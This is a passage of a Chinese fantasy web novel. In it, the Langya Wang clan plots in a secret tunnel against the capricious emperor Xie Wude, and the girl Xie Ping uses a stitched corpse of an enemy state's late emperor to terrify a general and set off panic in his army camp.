谢吾德看着众人震惊的表情,没有继续解释的打算,他只是挥挥手:“去吧。” 他想着自己做手工剩下的那另外一半的身体,理论上来讲可以再拼出一个缝合怪。 不过谢吾德做完一个就心满意足了,于是就把这剩下的尸体全部烧掉。 可能对于荣国人来说,这是挫骨扬灰,恨得要死,但是谢萍会恨,谢吾德却没有半点感觉。 宗教中的灵魂往生什么的根本就不存在的,一切不过是自然界的物质进行了一次重组罢了。 人们只是自己赋予了这些东西意义。 更何况在这个世界,萧国的先帝和先帝的母亲就从来都没活过,只是一个设定罢了. 锦京的琅琊王氏今天气氛很是沉默。 外面已经挂上了白布,但是却没有太过声张,毕竟王老爷子是在朝堂上死的,虽然不是赐死,但是也形同赐死。 他们自然是不敢大张旗鼓地去哀悼。 而且比琅琊王氏更悲惨的大概是临川陈氏。 他们直接被满门抄斩了。 现在还活着的临川陈氏的人都在抱头痛哭,有的人已经连哭都哭不出来了。 相比起他们,琅琊王氏只是死了一个王老爷子,这已经很幸运了。 灵堂中,锦衣卫站着看着眼前所有人。 锦衣卫的规模进一步地扩大,李真的手已经光明正大地伸到了每一个人的家中。 锦衣卫的工资相比起在宫中当太监并没有高多少,但是大家都趋之若鹜。 谁不喜欢开了无敌挂的感觉呢? 别说没有钱,就算倒贴钱也有很多人愿意体验,勒紧裤腰带饿上个十天半个月也完全没问题。 他们这些太监和光宗耀祖是扯不上什么关系了,但是能吹一辈子的牛逼也是好的。 在这天之前,世家好歹能够把锦衣卫挡在外面,但是在这天过后,锦衣卫就光明正大地驻扎了进来。 就现在的情况来看,他们现在的情况也就只比直接被农民们砍下脑袋要好上一点点了。 王旭是被重点观察的对象。 锦衣卫的指挥使李真特别吩咐了其他人,告诉他们要重点盯着王旭。 别看王旭在朝堂上表现得对谢吾德绝对忠诚的样子,但是这个人绝对是心有反骨的。 他的示弱有可能只是他的一种伪装。 世家都是一群善于玩弄权术、心机的阴险家伙,这是所有人的共识。 这次前来的只有王家从各地回来的一些人。 他们本来是冲着皇帝登基,想要回来看一眼的,结果贺喜变成了奔丧。 如今琅琊王氏门可罗雀,昨天还热闹了一下,因为有百姓来他们门口把白糖扫掉。 琅琊王氏的主家是肯定看不上这一点东西的,琅琊王氏的家丁倒是能够看上,可惜因为琅琊王氏惹恼了皇帝,这也连带着这些家丁被迫缩起头来,老实做人,不敢再仗着主家的威风耀武扬威了。 王旭看着家中门口的方向,觉得今天应该不会再来人了。 他一身白色的衣服,脸色也十分苍白,好像被一阵风就能够吹到一样,看起来颇为娇弱的样子。 他和厅中的锦衣卫打了一声招呼说自己要休息,锦衣卫死死地盯着他,然后故意发出嗤笑声,生怕别人听不到他的嗤笑。 王旭知道这其实并不是谢吾德主动的针对,一切都是这一群太监自作主张。 谢吾德甚至都不需要表态,就能够让琅琊王氏无比痛苦。 这群锦衣卫也不怕他们去跟谢吾德告状。 谢吾德没有吩咐,但是他会喜欢这种自作主张的。 王旭也不恼,他只是淡淡地离开了,不给这群人半点有产生心理上的优越感的机会。 反正这群锦衣卫也不可能跑到谢吾德面前去告他的状,谢吾德一看就是懒得搭理这种小事。 他回到自己的房间之后打开了后面的一扇门,从下面钻了进去。 这个通道十分低矮,本来是为了防止开封被攻破的事情再次在锦京发生,所以琅琊王氏才偷偷挖了这个地道。 王旭爬的有点狼狈,大家挖这个洞的时候是为了保命,根本就没考虑过体面这种小事。 谁知道他们有一天会被逼得在自己家里在地道里开会。 王旭点了一根蜡烛,过了一会,琅琊王氏的几个重要成员碰面了。 他们先是沉默,很久都没有说话,然后有人开口说道:“我们琅琊王氏绵延千年,结局就是这个样子了吗?若是祖宗泉下有知,他们该如何看我们呢?等我们百年之后,或者哪天谢吾德向我们下手,到了九泉之下,又该以何面目去见祖宗?” 伴随着这句话的是拍打衣服的声音,他们身上都沾了一身的土。 他们从来都没有这么狼狈过。 之前他们从开封跑到锦京,那也都是把主家的人妥善地送出去了,也就只有几个死脑筋留在了开封誓死不退。 琅琊王氏倒也不反对,家里总要有几个有风骨的人,到时候才能免于被人指责。 有这群人作为他们世家的背书,皇帝也必须额外尊重他们几分,承认他们世家国之栋梁的地位。 但是现在…… 谢吾德才不管这些,他只想折磨人。 他们这些人也算是被逼得没招了。 家里不是家里,都快成了锦衣卫窝了。 锦衣卫吃他们的,喝他们的,住他们的,还要监视他们。 从来没有见过谢吾德这么嚣张的皇帝,这已经不是借鸡生蛋的程度了,这是一脚把他们从家里踹出去了。 第68章 这一次他们没有吵吵闹闹,都是压低着声音交谈。 这里只有一根烛火,勉强能够照见彼此的轮廓。 他们琅琊王氏不是出不起这点钱,只是这里也是地下,并不怎么通风,如果蜡烛点多了容易窒息。 “虽然临川陈氏经常和我们作对,但是现在临川陈氏没了,我们现在也挺难过的。” “你们有听到临川陈氏那边闹出来的动静吗?” 有人深深地叹了一口气,叹气的这个人的妻子就是临川陈氏的人。 她已经出嫁了,暂时没人来琅琊王氏把她拖走处死。 她哭不仅是为家人悲痛,更是为了自己的未来。 如今的皇帝是个疯的,他身边还任命了一个女人当史官。 这是好事吗? 对于这位出嫁的陈氏女来说,似乎并不太妙,毕竟这也可能意味着皇帝可能并不在意出嫁女的身份,把她一起算作是临川陈氏的人直接杀了。 这有可能取决于皇帝有没有想到这件事情。 临川陈氏被抄家的动静可比周元要大,抄出来的东西也更多,但是反抗甚至都没有抄周元的家时强烈。 当初在临川陈氏反抗的时候,都有其他的世家悄悄地伸出援手,但是在面对谢吾德蛮不讲理的暴力手段和锦衣卫的咄咄逼人前,一个个都当了缩头乌龟。 甚至临川陈氏被抄家的事情都没能传出锦京,人就已经被尽数下狱了。 世家不援助,临川陈氏真就完蛋了。 别看他们和琅琊王氏一样都是世家之首,但是此刻临川陈氏展现的脆弱性让所有人都头皮发麻。 以前世家就像是寄生在螃蟹身上的蟹奴一样。 蟹奴寄生在螃蟹的身体里,吞噬螃蟹的血肉,欺骗螃蟹,让螃蟹觉得它才是它最宝贵的东西,母蟹觉得这是它的孩子,不会产卵的公蟹也会觉得这是它的孩子。 长到最后,那层壳下面的是螃蟹还是蟹奴都是个未知数。 但是想要去除长大了的蟹奴,那很有可能就直接要了螃蟹的命。 从荣朝建国的那一刻,世家就是长在荣朝这个螃蟹上的蟹奴,大家其实已经很了解世家的危害,但是世家不一定有用,但是去掉世家是很危险的。 有谁想要挣扎,世家就会让他们明白一下为什么世家一直都在。 然而现在谢吾德来了。 他直接捏着这只蟹奴就从螃蟹身上抽了出来。 他是皇帝,但是却不是那只螃蟹,更像是捏着钳子的人类,好奇而残忍地用旁观者的冷静把这只蟹奴直接抽了出来。 从谢吾德给所有人百姓食物的那一刻,世家的根系便被谢吾德狠狠地动摇了。 世家从来都不是这个国家的根系,时间长了,他们也产生了自己不是寄生生物的错觉,觉得国家的伟力来源于他们. 世家们制造出了盘根错节的关系网,将上层的权力牢牢地掌控在自己的手中。 以前他们可以通过收买的方式让宫中的势力效忠于他们,可是当强悍的皇帝任用太监,那他们弱点就暴露了出来。 他们和这些太监几乎没有半点关系。 但凡是好人家,怎么忍心让他们去宫中做太监、宫女? 世家的儿子、女儿,顶多是去宫中做侍卫,或者是去做宫妃。 苦活累活全都是和他们毫无关系的人去做。 世家是一个亲缘关系绑定得十分紧密的群体,他们排外,他们阻止一切和他们无关的人迈入他们的圈子。 但是这是一把双刃剑。 在世家没办法给其他人提供利益的时候,基本也不会有人愿意给他们提供帮助。 一般来说,世家是很难沦落到没钱的那一步,这个世界也很少会出现钱没用的情况。 但是对于谢吾德来说,钱只是提供情绪价值的东西,但是杀死世家给他提供的情绪价值更高,而且把世家都杀了,那些钱也都是他的。 以前的优势近乎清空了。 但是世家绝对不想认输。 这群人在互相交流着,商量着该如何避开他们那几乎命中注定的结局。 “我们现在应该通过比较温和的方式,来影响这个朝堂。” “背着谢吾德搞事?只要你们想要有成果,那必然会被谢吾德注意到。” 谢吾德又不是真傻子。 有些事情就算是真傻子也能感觉得到,就是真傻子没什么解决问题的能力,他们只能把自己的想法憋回去。 “大家都亲眼看到谢吾德是如何从临川陈氏那里获取情报的。你们忘了陈老爷子怎么死的吗?” 谢吾德可不需要证据,而且就算他做错了,他也可以把受害者复活,这就让他少了很多掣肘。 “我感觉你们是不是现在都没有什么想法?”王旭的手摁在桌子上,“就只能说点和以前差不多的东西?” 这个态度让许多人有一些不悦。 “知道王老爷子之前最看重你。”阴阳怪气的声音响了起来。 这次王老爷子去世之前,也是对王旭寄予了最多的厚望。 王老爷子什么都没说,但是大家都知道了。 王旭说的话显得其他人很没用。 “那请问你有什么高见?” 虽然他们现在的处境很危险,但是他们之间还是爆发了冲突。 现在琅琊王氏的情况是不怎么好,但是换一种想法,这也是在王家争权夺利的最好时候。 看上去很蠢,但是只是利益太大,以至于很多人都变得愚蠢起来。 王旭看着这群蠢货,心里也很是无奈,他也不是很想和这群蠢货沟通,但是世家的优势就是人多势众,缺点也是必须人多势众:“你们知道陛下如今的力量来自于哪里?” 这个问题让大家一片哗然,他们瞬间就被王旭这标题党的发言给吸引了注意力。 “来自于哪里?”有人急不可耐地问,声音变调扭曲,边上逐渐适应黑暗的人伸手捂住了他的嘴,担心被锦衣卫听到动静了。 这并不是什么值得羞耻的事情。 难道王旭破解了谢吾德如此强大的秘密? 他们是不是可以得到同样的力量? 临川陈氏的惨状还历历在目,但是这并不妨碍已经有人开始了幻想他们自己拥有如此强大的力量。 临川陈氏想要当皇帝,真巧,琅琊王氏也不是没有这个进步的心。 都说百年的王朝,千年的世家,但是真的有世家在皇位的诱惑前能够不动心的吗? 不动心那纯属是因为他们没那个实力。 “对啊,贤侄,有这样的好事情不如和我们都说一说,现在琅琊王氏是什么样子你应该也清楚,大家都应该共患难。” “是不是老爷子在死之前发现了什么?” “现在不是私吞的时候啊,贤侄。” 这群人的注意力一下子全都变成了担心王旭把好处全都捏在手上不分给他们半点了。 思考是没有思考的,全都是对好处的向往。 王旭看着这群脑子好像不太好用的家伙,他捏了捏眉心,想克制住,但是最后没能忍得住,他的手指关节在桌子上敲击着,他冷冰冰地说:“别逼我打你们。” 他在这群人中看起来实在是年轻,有着相当的武力优势。 只要他愿意,他是真的可以把这群家伙打散架。 别人是如何想的,王旭其实一下子就能猜到,但是此刻,王旭忽然明白了谢吾德的乐趣。 不和人废话,直接发疯,打到狗脑子出来。 这多是一件美事啊。 尤其是看着这群叽叽喳喳嘴巴不停的家伙安静了下来,有一种舒爽的感觉。 虽然之后肯定有一堆烂摊子等着他,但是没关系,现在他舒服了很多。 其他人头脑也冷静了下来,从分家产的状态中脱离。 不过王旭终究不是像谢吾德这样的人,就算一时兴起,学到了谢吾德的一些坏习惯,但是最后还是得坐下来和这些人慢慢谈。 琅琊王氏不是他的,至少现在还不是他的,他需要让这些人明白他们如今的处境和地位。 “我们是不可能知道那种事情的,而且就算知道了,你们觉得我们就能够凭此击败谢吾德了?” 谢吾德掌握这种力量的时间更长,他更了解这些东西。 “现在我们让我们直接去对抗谢吾德实在是太过于愚蠢了。” 王旭说的话终于让人绷不住了。 “这也不行那也不行,那你是什么意思?你一直在反驳我们,那么你的想法如何?” “稍安勿躁。”王旭用手往下按了按。 现在灯光昏暗,大家都看不清彼此之间的表情,但是能够隐约看到其他人的动作。 王旭对他们说道:“这么多年来,我们是如何把控朝局乃至皇帝的,大家应该都清楚。” 不是所有人都像王旭一样聪明,但是大家基本上都有那个照本宣科的本事。 但是大家其实都不是很想直接说出来。 这个文明本身就是委婉含蓄的,大家干了多少龌龊事情都心知肚明,现在还会来商量的都是肚子里有坏水的家伙。 像是王钧就觉得事情不太妙,不来掺和,去和锦衣卫套关系顺便拉走注意力去了。 但是摊开说自己的想法、目的和手段,那羞耻程度就跟当着同事的面朗诵自己小学的时候写的那些文字一样。 “我们现在还能再换皇帝吗?”琅琊王氏之前不是没有干过类似的事情。 可是他们根本就打不过谢吾德。 “你们根本就没有明白我的意思。”王旭觉得自己白铺垫了,自己完全白引导了,“谢吾德所依靠的不是别的,正是民心。” “现在的他,正是民心所向。” 第69章 民心这种东西对于琅琊王氏来说并不陌生。 这种论调他们其实也能经常听到。 他们听不懂也没关系,他们要是不明白的话,总会有农民起义教他们这到底是什么意思 农民起义中的原因往往很复杂,比如说皇帝昏庸,奸臣当道,天灾四起。 民心总不是最主要的原因。 就像是那句“入则无法家拂士,出则无敌国外患者”一样。 民心所向很重要,但是不向着他们的民那就不算民了。 可是按照王旭的意思,他是要把谢吾德所有的优势都归结于他得到了民心身上。 “那倒是得有人能够反抗得了他。”还是有人摇头,他一是觉得王旭说得不完全对,二是觉得不能够让王旭掌握所有的主动权。 想要反对谢吾德的人一人哪怕一小口都能把谢吾德给吃了,但是问题一直都是做不到。 “现在你能让几个人说出他们反对谢吾德呢?谢吾德是敢跟他们说,你不用努力了,只要在家里天天开心高兴就好……有几个人会拒绝这种事情?谢吾德生性残暴冷酷,他对人没有什么感情,但是他却比那些仁慈的君主更能够让普通人过上好日子,你觉得有多少人会听他的?那些百姓绝对不会反抗谢吾德,他们只会希望谢吾德一直做他们的皇帝。” 不服的只有他们这些欲壑难填的世家,普通人可好打发了,他们有时候甚至都不要求平等的待遇,只希望世家做得没那么过分。 至少十年内,他们的要求都不会有多少改变的。 王旭把这些点一一地和其他人说清楚,希望他们能够明白他的意思。 这次大家都听清楚了,只不过在听清楚之后,他们面面相觑,问道:“难道你的意思是我们现在不要和谢吾德对着干了,就这么蛰伏着,等着谢吾德自己离开吗?” 王旭的话听上去十分的消极。 王旭深深地叹了一口气,为他们的愚蠢。 “那留着你们干什么?吃干饭的吗?” 王旭毫不留情地说道,“派上点用场吧。既然现在这些人很满意,那就让他们不满意。” “那你这不是想要重蹈临川陈氏的覆辙吗?” “他们太傲慢了。”王旭给那个人翻了一个白眼,“他们从一开始就没把谢吾德当成一个危险的敌人,也实在是低估了谢吾德的危险程度,所以我们不能和他们一样。我们应该用别的方式来对抗谢吾德。” “……你们觉得有谁是绝对能够让所有人都一直满意的吗?”王旭甩出了一个问题。 众人摇头。 林子大了什么鸟都有。 还有人爱好唱反调。 王旭提醒他们了另外一件事:“别忘了,我们琅琊王氏还抓到了一个来自未来的人。” 这些事情对这次过来的人来说并不是秘密。 “你知道吗?当我问起他未来的情况的时候,他说那里已经没有皇帝了。” “嗯?” 比起王旭之前说的那些话,这句话显然让这些世家更加震惊。 没有皇帝,那谁统治所有人? 半晌之后有人开口:“是有了新的名号吗?就像是从‘王’这个称呼变为‘皇帝’这个称呼一样?” 是他们在试图想象一些自己没有见过的东西。 其实“王”和“皇帝”还是差了很多。 一个是封而建之,一个是君主专制中央集权,虽然在广义上都算是封建制度,但是后者是封建制度的进化版本。 那么皇帝制度再进化一点会是什么样子? 大家不由得想到了谢吾德那种脱缰的野马一样谁都拦不住的架势。 “皇帝”本身就有祖宗、神仙的意思。 难道这力量可以遗传或者赠与? 谢吾德还立了太子,虽然从他立太子到现在不过两天的时间,但是大家都快忘记了那两位太子。 谢吾德立太子非常随便,只是给了一个名义上的称呼,没有给任何实际的配置。 就跟儿戏一样。 都不知道是不是谢吾德亲生的。 不过这都不重要。 就怕别的皇帝有了谢吾德的能力只会比他更癫。 “按照他的意思,在他们的那个时间点,这个世界上就没有皇帝了,那是一个人人平等的世界。士农工商都是一样的。”王旭缓缓地说道。 这一次没有人拍桌子,大家都只是坐在那里,静静地消化着这句话。 “这……怎么可能呢?”有人琢磨着这句话,觉得还是没法想象,这一切就好像镜中月水中花一样。 这事其实很严肃,但是他们有点想象不出来。 王旭本来也觉得不太可能。 不过他仔细盘问过穿越者。 胡增鑫当初不太高兴,说他又不考公,怎么能够记得这些事情? 不过在王旭踹了他一脚之后,胡增鑫立刻回想起了自己之前被殴打的种种,立刻把他知道的一切都说了出来。 在大记忆恢复术大成之后,只要轻轻一脚就可以发动小记忆恢复术。 胡增鑫立刻表示他想起来了一些东西。 胡增鑫说得不成体系,但是王旭把这些东西在纸上写下来,重新整理了一下,发觉这些东西似乎都是环环相扣的。 胡增鑫的逻辑是没有问题的,而且他的描述实在是太过于详尽了。 王旭问了他很多问题,胡增鑫都能够一一地圆上,而且让王旭找不到漏洞。 平等不是完美的平等,但是却是每个人都不敢光明正大反驳的。 那这就是真实的。 琅琊王氏的所有人都在回味着王旭这句话。 “就算我不是很清楚具体情况,但是总感觉如果皇帝消失了,那我们世家也会不太好过吧。” 他们不懂这背后的社会规律,但是他们有着一种直觉。 世家和皇帝一直在对抗,但是在面对士农工商一并平等的未来面前,他们和皇帝之间的矛盾就远远比不上这种外部矛盾。 “而且真的要和那群家伙平等吗?”有人一想到那些地里刨食的家伙会和他们这些世家的子弟勾肩搭背,他就觉得浑身难受。 感觉身上都脏了。 “这个世界是不可能有绝对的平等的。”王旭斩钉截铁地说,“我们现在虽然没办法推翻谢吾德这个皇帝,但是我们应该考虑引导这个世道向我们希望的方向发展,让谢吾德现在掌控的人心全部都背离他。” 有人不合时宜地开口:“其实还不是一开始的那个在谢吾德背后搞事的那个计划吗?” 王旭的情绪差点不连贯了,他看了那个人一眼,然后说道:“说得好像你们之前提到的计划有可行性一样。” 计划亦有高下之分的。 以现在的情况,他们也许是当不了皇帝了,但是至少不能连世家都当不了吧。 “哦,对了,邵氏还有人活着吗?”王旭想到了另外一件事。 “邵氏?”其余人花了一秒钟才想起了所谓的邵氏,又花了一秒钟才想起谢吾德不是从石头缝里蹦出来的,还花了一秒钟才想起来死掉的谢珖是谢吾德的“亲爹”。 不得不说,谢吾德很成功地把自己和谢珖切割了,以至于大家本能地忘记了这事。 邵氏女可是谢吾德这个身份的“亲妈”,虽然她已经死了,但是他还有舅舅活着……大概活着。 他们总得在明面上做点浅显的坏事才能让谢吾德不怀疑他们背地里憋着坏招。 谢吾德不是真笨,他怎么可能会轻易相信琅琊王氏向他们臣服。 他估计也在等着琅琊王氏给他一点乐子呢。 那他们要做的,就是给谢吾德两点乐子. 萧国—— 山林里有野狼嚎叫的声音,不过听到这狼嚎的人都完全没有当一回事。 这里可是萧国大军驻扎的地方,再怎么聪明凶悍的野狼也不敢来招惹这么多人。 大家都个个带着刀,身怀利器,杀心自起。 如果真的有野狼的话,他们说不定会直接一刀砍死这条狼,把狼皮做成褥子,再吃狼肉。 人类还是太危险了。 萧国的将军元和目光灼灼地看着南方的方向。 他什么都看不到,因为眼前一片黑暗,就算是鹰隼在夜晚也很难看得清数十甚至一百多公里外的景象。 元和跟自己身边的亲兵交代了几件事情,然后亲兵便退了下去,把空间留给元和休息。 在躺下之后,元和想着事情,叹了一口气。 他是萧国的贵族,元和小的时候见过先帝,先帝当时给了他很多奖赏,并且对他说,希望以后南下攻打荣国的时候,他能够成为他的左膀右臂。 然而还没能够等到他长大,先帝便已经驾崩。 这成了元和心中的遗憾。 不过元和从未忘记过这份约定,他一直希望自己有一天能够实现当年对先帝的诺言。 现在荣国正在内乱,他已经迫不及待地想尽快攻破锦京,实现之前他对先帝的许诺。 而且他这次南下其实还有一件事情。 他不知道自己的叔父元帷去哪儿了? 元帷率领大军去攻打邱腾,但是到最后竟然一个人都没回来。 这让萧国一时大为震惊。 他们派人去搜索,但是一无所获。 就算元帷率大军叛变,安静地离开,那也不可能一点风声都没有,会被他们在荣国所安装的眼线发现。 他的消失就好像是往大海里滴了一滴水一样,带着一股诡异的气息,不可言说。 元和这次来也是希望能和家里人有一些交代。元和也像是邱腾一样,思考了一下自己有没有疏漏的地方,确认一切无误之后才睡着。 就在他闭上眼开始打起了呼噜的时候,一个人影忽然出现在他的帐中。 随着咚的一声脚步响,元和一下子睁大了眼睛,他翻身坐了起来,手已经摸到了自己放在旁边的匕首上,拔出那把匕首对着那个方向。“你是何人?这是哪来的刺客?自己其他警戒也实在是太过于疏忽了吧。”这巨大的脚步声,一下子就把他给惊醒。 荣国已经没有人可以用了吗?怎么派了个笨手笨脚的刺客? 然而就在元和心里嘲笑荣国的时候,他的眼睛倏地睁大。 因为他看到了那张脸,那是一张一眼看上去便狰狞恐怖的脸,那上面好像像是被自己刚学习女红的女儿一样笨手笨脚的人拿着针歪歪扭扭缝上去的一样,他的脸是破碎的,但是足够元和在这张脸上,找到熟悉的影子。 他手中的匕首当啷一声落在了地上,然后他颤抖着声音,惊骇地说道:“陛……陛下?” 第70章 那个缝合的先帝身影一动不动地看着元和。 面对元和的呼唤,他没有给出任何回应,就那么静静地注视着他。 元和被他这样的目光盯得遍体生寒。 但是他也没避开自己的视线,而是想要从那张脸上找到否定对方身份的证据。 好消息,元和的确找到了不属于先帝的部分,坏消息,他发现了曾经太后的部分。 太后是萧国先帝的母亲。 如今萧国许多政策都是先帝和先太后定下来的,这对母子在活着的时候其实也冲突不断,但是却有着相当的默契。 母子对抗的时候杀个对方的心腹都不奇怪。 先帝是先太后一手带大的,太后临朝摄政,又把自己的所有知识都交给自己的儿子,在儿子长大之后,母子之情就渐渐地因为政客之间冰冷的算计掩盖住了。 当时荣国皇帝还觉得自己很聪明,可以借此挑拨离间,甚至拿了一个荣国城池作为诱饵,试图引起母子之间权力的失衡,但是万万没想到,那对母子表面看上去都要杀了对方,但是等到城池一到手,那些矛盾好像瞬间就烟消云散,一派母慈子孝。 荣国的皇帝都惊呆了,这个世界上怎么会有这么厚颜无耻的母子。 荣国皇帝以为他们是在演他,故意装出母子冲突不断的样子,但是事实是,他们就是关系很差劲。 亲妈看亲儿子觉得亲儿子不如权力可爱,亲儿子看亲妈觉得亲妈不如权力温暖。 但是母子亲情不如权力就不代表他们就没母子亲情了,而且之前的荣国皇帝也就是能折腾自己人,在对外的时候,他就实在是无能的。 就算萧国那边单方面撕毁了他们口头协议,他也没办法对他们怎么样。 现在这对对抗路母子紧紧地结合在了一起。 元和从最初的惊骇与意外中挣脱出来后,涌上心头的是愤怒。 这是什么东西? 这绝不可能是先帝,先帝不可能是这般模样。 一定是有人以秘术操控了先帝的遗体,或是仿造出了一具形似的躯壳。 元和是萧国的将军,将军的素质让他现在还能临危不乱。 元和也是第一次见到这种场面,现在却也能迅速定下心神。战场风云诡谲,最需要保持头脑清明,不要被愤怒冲昏头脑。 即便如此,他仍感到双手在不受控制地微颤,那股怒意难以抑制。 亏荣国往日总爱标榜自身正统,如今行此般野蛮之事,连他这个萧国将军都怒火中烧。 无论在哪个文明,亵渎遗体都是大忌,是对逝者莫大的侮辱。 虽然因为文明不同,对侮辱尸体的定义有所不同,但是拿尸体取乐那是绝对不会运去的。 元和拔出自己的匕首。 他沉声道:“我不知幕后是谁在操控这具尸体,但你找错人了。” 四下并无旁人,他果断挥舞匕首劈砍过去。 萧国贵族中有纵情声色的,但是他自小被先帝看重,寒暑不辍。 林耀祖发出一声短促的惊叫。 先前临川陈氏所掌控的光幕对谢吾德而言也是可以轻易地掌控的东西。 现在林耀祖和谢萍都能够借这块木板连接萧国先帝与太后的眼睛去窥探周遭环境。 这与之前高悬天际的天幕给人的震撼不同,此刻是第一视角,元和出手极快,所以林耀祖就忍不住向后退去。 【主播胆子也太小了吧!】 【主播让开让我来玩!】 【这视角绝了!】 弹幕看热闹不嫌事大,纷纷起哄。 他们都见识谢萍是如何操控一具尸体的。 场面初看惊悚,习惯了大家都开始跃跃欲试。 谁能拒绝体验一把死灵术士的感觉呢? 林耀祖冲着自己的眼睛竖起中指,心里暗骂弹幕统统滚蛋。 她在此处着实没什么地位。 虽说谢萍刚回锦京,林耀祖是谢吾德面前的红人,她看上去也并非是什么强势角色,但林耀祖能感觉到自己在谢萍面前没什么话语权。 其实林耀祖也在心底对谢萍存着些许畏惧,但凡见过谢萍是如何处置萧国使者的,都难免会觉得这个小孩有点恐怖。 虽然谢萍做的事情是有原因的,但是有的时候害怕本身就不是理性的事情。 元和挥舞匕首完全没有吓到谢萍,但是她被林耀祖给吓到了。 被砍过脑袋的人如果没有对这事产生阴影,那就会对这事开始脱敏。 谢萍是后者。 谢萍看了林耀祖一眼。 她没说什么,但林耀祖敢打赌,自己在那小姑娘眼中捕捉到了一丝转瞬即逝的嫌弃。 林耀祖相信谢萍此刻心里想的八成是“尔雅在就好了”。 尔雅今天不在,她说今天有事。 她没必要和其他人告假,顶多需要和谢吾德说一声,但是谢吾德又经常不在,所以一切她自己就可以决定啊。 大概是因为古人早熟,林耀祖在尔雅面前总显得有几分幼稚……明明她们年岁相仿。 连谢萍有些时候看起来都比林耀祖更沉稳些。 “看来吓唬他没用。”林耀祖擦了擦额角并不存在的汗。 “当然没用,信这个先帝又没什么好处。”谢萍语气平淡,对这个结果并不意外,“信这件事情又没好处,尤其是对这种人。” 林耀祖觉得这和她想象中的古代将军的反应不太一样。 她以为古代的人都很迷信。 即使在现代不也有一堆老板讲究黄道吉日生辰八字嘛。 再不济,那也不应该直接砍过来。 看这个萧国将军对萧国的先帝也算忠心耿耿,怎么就这么狠呢? “大胆,你可知罪。”谢萍的声音,通过萧国先帝的嘴唇传了出来。 说完,她便操控那具身躯飘起来飞快地向后退去。 谢萍没有选择直接消失,而是径直穿过营地中央,从熊熊燃烧的篝火旁掠过。 这些萧国士兵大多未曾见过萧国皇帝,更遑论先帝。 他们只不过是普通出身,自然认不出萧国先帝的长相,但有人眼尖,瞥见了脸上那狰狞的缝合线。 士兵中有人脱口骂出声,身体猛一激灵向后跳开,也有人拔刀欲扑砍过去。 萧国将军砍过去纯粹是不喜欢有人用着先帝的身体玷污他的名声,但是这帮士兵砍过去就纯属是发狂了。 萧国和荣国的摩擦不断,这些萧国的士兵虽然胜多败少,但是他们的精神一直都是紧绷着的。 整个军队的胜利并不代表他们下面这些士兵就不会死。 而且荣国虽然内部糜烂,但是他们的人还是太多了,总有人为国谋不惜身,边关的很多将领甚至是地方官员抵抗的意志都很坚定。 但是这对萧国的士兵来说就是一种极为强烈的精神压力。 现在这诡异的一幕刺激到了一些人的神经。 还是那句话,这里是军营,身怀利器杀心自起。 有人开始追着这字面意义上的浮尸去砍。 原本只是有一些人在守夜,但是外面的动静唤醒了本来在睡觉的人,他们以为有敌袭,扭头就拿起了自己的武器。 元和只感觉自己的头皮要炸了,他赶紧喊来自己的亲卫:“快快快,把武器都看起来。” 亲卫们其实就不需要元和的吩咐。 然而已经晚了。 有人拿着武器,却没有看到敌人,于是便怀疑敌人是不是混进来了。 他们看着正在拿着刀往他的方向冲来——实际上是往众人聚集的地方去冲的同伴,在恐惧和压力之下,挥刀砍了过去。 当第一刀挥下去的时候,元和就知道一切无可挽回了。 营啸了。 谢萍操控尸身的速度极快,根本无人能追上,且准确来说,这缝合怪从未真正落地。 先前惊醒元和时故意弄出重响,不过是刻意为之。 林耀祖看着谢萍的操作,忍不住问:“你这不也是被吓到想逃跑吗?” 谢萍瞥了她一眼:“我只是让他们酝酿一下情绪,把气氛烘托出来。” 谢萍还是太年轻了,所以她根本就不清楚自己搞出了怎么样的大动静,只以为自己最多也就是让萧国的军队军心不稳或者让他们疲于奔命。 在操控那缝合怪转移回来之后,谢萍松了一口气:“也不知道陛下会不会满意。” 林耀祖想了想,说:“没有血流成河,可能他不会很满意?” 谢吾德就典型的喋血观众。 【等着,你们攒点素材,我到时候给主播你剪个恐怖片出来。】林耀祖的观众多才多艺,【交给我,我有拍过恐怖片的经验。】 林耀祖觉得他们像是在作死,好像是想要看谢吾德被吓到的样子。 但是林耀祖总疑心谢吾德能看到弹幕,真把他吓到了,谢吾德能从他们屏幕里爬出来打爆他们脑壳。 但是林耀祖现在也没法劝他们。 她只是看着宫女带着谢萍去休息了。 现在已经很晚了。 林耀祖转身去旁边的房间睡了。 自从谢萍来了之后,林耀祖的日子好过了许多。 最重要的是她们可以找一处宫殿住下了,不用住大通铺了。 这是尔雅主动向谢吾德询问的,问他让谢萍住在哪里。 谢吾德的回答是:“随便,看好哪个宫殿直接住进去就行。” 谢吾德没有后宫。 谢珖的那些后妃全都被赶到别的地方去住了。 谢吾德还是不太喜欢在自己活动的地方看到太多的人类,他社恐。 谢吾德无意苛待她们——欺负太柔弱无能的家伙很无聊,但是也只是当做最普通的人看待,谢吾德喜欢有能力、至少也得是有脾气或者有趣的人,后妃长得再怎么好看谢吾德都不会心软。 也不是没有人闹过,但是这事根本就没有传到谢吾德的耳朵里就直接被拦了下来。 还是李真。 这个人真的像是电视剧里那种坏太监,那种出了事之后什么都能推给他的嘲讽拉满的太监。 这人有九千岁之姿。 也就是谢吾德,换个皇帝早晚得变成李真的笼中金丝雀。 不过在谢吾德手里,李真就真的帮了他的很多忙。 谢吾德的确不想听谢珖后宫的那些事。 这群人安安静静的,谢吾德哪天想起来了还会同情一下,但是闹到他面前,谢吾德大概只想杀人。 毫无怜悯之心。 他的性取向是纸片人,还是个御姐控。 真御姐就得像尔雅一样,不管丢到哪里都能够亮一下眼的。 谢吾德觉得李治就是那种很有品的,喜欢聪明漂亮坏女人,那可太香了。 林耀祖对谢吾德的德了解了个七七八八…… 其实就算谢吾德这个洁癖那天说自己想要搞一个后宫也不奇怪,这绝对是一件和色.欲没有半点关系的事情,他只会是觉得有后宫是一件很有意思的事情。 就像是如果谢吾德有一天想要弄个酒池肉林的话,那肯定不是因为想喝酒或者想吃肉,只是觉得这样cos一把商纣王是一件很有趣的事情,就跟去旅游景点打卡拍照一样。 别人每天活在这个世界上的主线任务是搞到两千大卡的食物,支线任务是传递基因。那么对于谢吾德来说,他的主线和支线任务只有一个——整点活。 因为各种原因,这偌大的宫中看起来就像是鬼屋一样。 想到谢吾德的恶趣味,林耀祖看着旁边的水井,忽然哆嗦了一下,担心有鬼从水井里爬出来。 鬼不一定是真鬼,也可能是谢吾德的恶趣味。 林耀祖离水井远了一点, 尔雅去哪里了?《 》 70-80 第71章 尔雅一晚上都没有回来。宫门在之前就落锁了,所以落锁之后,她就算想回来也不可能回得来。 她是个宫女,按规矩本不该随便出去的,但林耀祖却并不觉得尔雅这么做有什么奇怪。 